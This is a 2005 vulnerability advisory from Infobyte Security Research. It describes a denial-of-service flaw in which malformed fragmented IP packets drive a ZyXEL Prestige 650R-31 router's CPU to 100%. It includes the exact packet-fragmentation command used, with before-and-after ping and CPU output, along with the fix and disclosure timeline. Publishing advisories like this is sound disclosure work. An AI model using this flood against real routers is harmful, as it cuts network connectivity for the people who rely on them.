.:: SUMMARY Prestige 650R-31 (ADSL Router) -CPU exausting handling malformed fragmented packets Affected ZyNOS FW v3.40(KO.1) It is suspected that all previous versions of ZyNOS are vulnerable. .:: BACKGROUND Zyxel Prestige 600 Series, A Popular ADSL (Modem | Router) www.zyxel.com .:: DESCRIPTION Prestige 650R-31 fails handling malformed fragmented IP packets The Cpu goes up to 100% when the attack is re-assembled and processed. .:: EXPLOIT Any ip crafting tool will do the job, in this case we used a fragmented ip generator coded by Fryx http://packetstorm.linuxsecurity.com/UNIX/misc/frag.c <snap> root@r2d2:~/infobyte# ping 192.168.1.252 PING 192.168.1.252 (192.168.1.252): 56 octets data 64 octets from 192.168.1.252: icmp_seq=0 ttl=254 time=2.5 ms 64 octets from 192.168.1.252: icmp_seq=1 ttl=254 time=2.3 ms --- 192.168.1.252 ping statistics --- 2 packets transmitted, 2 packets received, 0% packet loss -Prestige Status (Normal) Ethernet: Status: 100M/Full Duplex Tx Pkts: 71 Collisions: 0 Rx Pkts: 164 CPU Load = 4.09% root@r2d2:~/pentest/infobyte# frag-ip -i 1 -t all -s 7 -p tcp -l 64000 -a 1 126.96.36.199 192.168.1.252 Sending packets with ID 1 (frags length=56, total length=64000) root@r2d2:~/infobyte# ping 192.168.1.252 PING 192.168.1.252 (192.168.1.252): 56 octets data 64 octets from 192.168.1.252: icmp_seq=50 ttl=254 time=1002.3 ms 64 octets from 192.168.1.252: icmp_seq=51 ttl=254 time=7.7 ms -- 192.168.1.252 ping statistics --- 51 packets transmitted, 2 packets received, 93% packet loss -Prestige Status (During the denial) Ethernet: Status: 100M/Full Duplex Tx Pkts: 71 Collisions: 0 Rx Pkts: 164 CPU Load = 99.59% <snap> .:: IMPACT Total loss of conectivity and forwarding, at least for 1 minute. If you send more amount of fragmented packages mores is the denial duration. .:: EXTRA These procedures where done in a local way Remote attacks where not yet made. .:: FIX The vendor claims its not a vulnerability, that is rather a "Hardware Limitation" But seems an the last release of it's firmware fixed the problem. Upgrade the firmware to V3.40(GT.5) .:: DISCLOSURE TIMELINE 05/02/2005 Initial vendor notification 05/03/2005 Initial vendor response 05/08/2005 Vendor determined as a HW limitation 05/10/2005 No response from vendor to several mails .:: CREDIT Federico Kirschbaum is credited with discovering this vulnerability. fedek][at][infobyte][dot][com][dot][ar .:: LEGAL NOTICES Copyright (c) 2005 by [ISR] Infobyte Security Research. Permission to redistribute this alert electronically is granted as long as it is not edited in any way unless authorized by Infobyte Security Research Response. Reprinting the whole or part of this alert in any medium other than electronically requires permission from infobyte com ar Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.